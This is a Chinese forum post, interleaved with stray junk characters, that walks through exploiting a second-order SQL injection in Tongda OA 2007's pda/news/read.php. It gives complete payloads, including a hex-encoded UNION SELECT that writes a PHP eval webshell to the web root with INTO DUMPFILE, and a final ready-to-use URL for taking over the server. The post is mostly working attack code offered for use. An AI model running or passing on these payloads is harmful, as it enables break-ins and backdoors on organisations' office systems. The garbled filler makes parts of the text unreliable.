目前测试通达OA2007版本% d& L! ~/ A! K. A
" V1 [: s( }% @, z
0 F7 x9 j% t8 \Office Anywhere 2007 网络智能办公系统5 H- D2 F& l" V8 ]
% ^ @" v& Z- z# g% I! Zhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..0 D ]' k2 g8 V! i* w
) I. ~% d2 @' V
: k3 b j/ ]7 ^0 r7 ~: \* x5 P这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的
, [; `+ S0 e8 b% P# n/ ~7 ]
3 x2 l* F) t/ O! v$ C例如:SELECT * from USER where USER_ID='{$USERNAME}' , X; ]& I, r( @+ z, D& `
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
+ S* m* S0 c9 T1 S7 W
' m4 J, t/ \% Z6 y% S) V; d这个时候我们是不是可以组合起来使用哪?
. b) V/ V$ G9 U3 J1 y 5 h* A0 [3 j- _6 R; _- ?& x* X
第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样& N# L/ x/ G( d; X( I! M. w+ o" q8 R
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
2 i/ L1 `7 C+ N8 H! z
! W% n0 M( p% L9 j8 d7 U这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
0 ]% u: ?5 B" Q
7 d4 y; e) @7 v2 G$ K5 p7 R' T; W那么问题来了,单引号可以吗?当然是不可以的,^_^。。。: g0 ?) a4 S, M( ]. z
/ j) w0 {$ s" t/ V3 m/ X3 Q那么我们用字符串格式带入进行hex编码0 o& S1 t# |( ]' j: h
\9 J1 b4 E c# d. v6 o; W
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
7 U* g m, O% E
7 C" D( t# ^) Z测试ok,获取oa的webshell
6 ?4 I$ ~# C/ T0 A0 |9 E7 F- [ + x5 I5 p* b( m& s/ {
% E2 v$ o$ [ i: ?% xpda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
2 @6 x# c! \% J `* p直接getwebshell |